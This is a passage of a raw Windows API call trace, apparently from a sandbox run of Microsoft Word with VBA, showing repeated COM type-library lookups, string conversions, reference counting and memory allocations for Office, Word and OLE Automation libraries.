[0030.558] ITypeLib:RemoteGetDocumentation (in: This=0x5810260, index=-1, refPtrFlags=0x307df4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0*=0x0) returned 0x0
[0030.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x307e44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31
[0030.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x307f4c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7
[0030.558] CRetailMalloc_Alloc () returned 0x7532768
[0030.558] IUnknown:AddRef (This=0x5810260) returned 0x8
[0030.558] ITypeLib:LocalReleaseTLibAttr (This=0x5810260) returned 0x7611d88
[0030.558] IUnknown:Release (This=0x5810260) returned 0x7
[0030.558] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2
[0030.559] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2
[0030.559] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2
[0030.559] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0
[0030.559] ITypeLib:RemoteGetLibAttr (in: This=0x757e058, ppTLibAttr=0x307df8, pDummy=0x307fe0 | out: ppTLibAttr=0x307df8, pDummy=0x307fe0*=0x0) returned 0x0
[0030.559] ITypeLib:RemoteGetDocumentation (in: This=0x757e058, index=-1, refPtrFlags=0x307df4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0*=0x0) returned 0x0
[0030.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x307e44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63
[0030.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x307f4c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7
[0030.559] IUnknown:AddRef (This=0x757e058) returned 0x7
[0030.559] ITypeLib:LocalReleaseTLibAttr (This=0x757e058) returned 0x1c3f970
[0030.559] IUnknown:Release (This=0x757e058) returned 0x6
[0030.559] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.560] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307ea0 | out: ppvObject=0x307ea0*=0x0) returned 0x80004002
[0030.560] IUnknown:AddRef (This=0x756c55c) returned 0x7
[0030.560] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x307eb0, pDummy=0x452c5f0 | out: ppTypeAttr=0x307eb0, pDummy=0x452c5f0*=0x58120a4) returned 0x0
[0030.560] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74d3dd0
[0030.560] IUnknown:Release (This=0x756c55c) returned 0x6
[0030.560] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.560] CRetailMalloc_Alloc () returned 0x7645418
[0030.560] CRetailMalloc_Alloc () returned 0x76d9880
[0030.560] IUnknown:AddRef (This=0x756c588) returned 0x4
[0030.560] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x307e94, pDummy=0x7 | out: ppTypeAttr=0x307e94, pDummy=0x7) returned 0x0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x0, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x1, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x2, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x3, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x74b30c8
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x4, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x5, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x6, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x7, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x8, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x9, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x74b30c8
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xa, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xb, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.560] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xc, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.560] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74d3dd0
[0030.561] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x307e94, pDummy=0x0 | out: ppTypeAttr=0x307e94, pDummy=0x0) returned 0x0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x0, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x1, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x2, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75f0e10
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x3, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x4, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x5, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x6, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x7, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x8, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0x9, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xa, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xb, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c588, index=0xc, ppFuncDesc=0x307e90, pDummy=0x76d9888 | out: ppFuncDesc=0x307e90, pDummy=0x76d9888*=0x0) returned 0x0
[0030.561] ITypeInfo:LocalReleaseFuncDesc (This=0x756c588) returned 0x75ed1c0
[0030.561] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74b30c8
[0030.561] IUnknown:Release (This=0x756c588) returned 0x3
[0030.561] CRetailMalloc_Alloc () returned 0x760a310
[0030.561] CRetailMalloc_Alloc () returned 0x760a320
[0030.562] CRetailMalloc_Alloc () returned 0x760a330
[0030.562] IUnknown:QueryInterface (in: This=0x756c588, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307bd4 | out: ppvObject=0x307bd4*=0x0) returned 0x80004002
[0030.562] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x307bd0, pDummy=0x0 | out: ppTypeAttr=0x307bd0, pDummy=0x0) returned 0x0
[0030.562] IUnknown:QueryInterface (in: This=0x756c588, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307b98 | out: ppvObject=0x307b98*=0x0) returned 0x80004002
[0030.562] IUnknown:AddRef (This=0x756c588) returned 0x4
[0030.562] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x307b88, pDummy=0x307e80 | out: ppTypeAttr=0x307b88, pDummy=0x307e80*=0x7264279a) returned 0x0
[0030.562] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74b30c8
[0030.562] IUnknown:Release (This=0x756c588) returned 0x3
[0030.562] CRetailMalloc_Alloc () returned 0x76cc210
[0030.562] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x307b88, pDummy=0x307bb8 | out: ppTypeAttr=0x307b88, pDummy=0x307bb8*=0x1) returned 0x0
[0030.562] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x756c588, ppTLib=0x307b84, pIndex=0x307b90 | out: ppTLib=0x307b84*=0x75e82c0, pIndex=0x307b90*=0x20e) returned 0x0
[0030.562] ITypeLib:RemoteGetLibAttr (in: This=0x75e82c0, ppTLibAttr=0x307984, pDummy=0x7582650 | out: ppTLibAttr=0x307984, pDummy=0x7582650*=0x75e8fc4) returned 0x0
[0030.562] ITypeLib:RemoteGetDocumentation (in: This=0x75e82c0, index=-1, refPtrFlags=0x307980, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7582650 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7582650*="仨ƻ쑀ݗ釬ݞ") returned 0x0
[0030.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x3079d0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 58
[0030.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x307ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0030.562] ITypeLib:LocalReleaseTLibAttr (This=0x75e82c0) returned 0x7611d88
[0030.562] CRetailMalloc_Realloc () returned 0x7532990
[0030.563] CRetailMalloc_Alloc () returned 0x7532bb8
[0030.563] IUnknown:AddRef (This=0x756c588) returned 0x4
[0030.563] IUnknown:Release (This=0x75e82c0) returned 0xc
[0030.563] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74b30c8
[0030.563] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x75ed1c0
[0030.563] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.563] IUnknown:Release (This=0x756c504) returned 0x2
[0030.563] CRetailMalloc_Alloc () returned 0x7508dc8
[0030.563] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.563] IUnknown:Release (This=0x756c504) returned 0x2
[0030.563] CRetailMalloc_Realloc () returned 0x7532de0
[0030.563] CRetailMalloc_Free () returned 0xd220001
[0030.563] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.563] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.563] IUnknown:AddRef (This=0x756c588) returned 0x5
[0030.563] IUnknown:QueryInterface (in: This=0x756c504, riid=0x7278eb6c*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x308390 | out: ppvObject=0x308390*=0x756c504) returned 0x0
[0030.563] ITypeInfo2:GetCustData (in: This=0x756c504, GUID=0x72796804*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x308380 | out: pVarVal=0x308380*(varType=0x0, wReserved1=0x0, wReserved2=0x83ec, wReserved3=0x30, varVal1=0x7531750, varVal2=0x0)) returned 0x0
[0030.563] IUnknown:Release (This=0x756c504) returned 0x3
[0030.563] ITypeInfo:RemoteGetDocumentation (in: This=0x756c504, memid=-1, refPtrFlags=0x30839c, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7531750 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x7531750*="耂\x10(") returned 0x0
[0030.563] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c55c, ppTypeAttr=0x308388, pDummy=0x0 | out: ppTypeAttr=0x308388, pDummy=0x0) returned 0x0
[0030.564] ITypeInfo:LocalReleaseTypeAttr (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xe, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.564] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xf, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.564] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x10, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x11, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x12, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x13, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x14, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x15, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x16, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x17, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x18, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x19, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
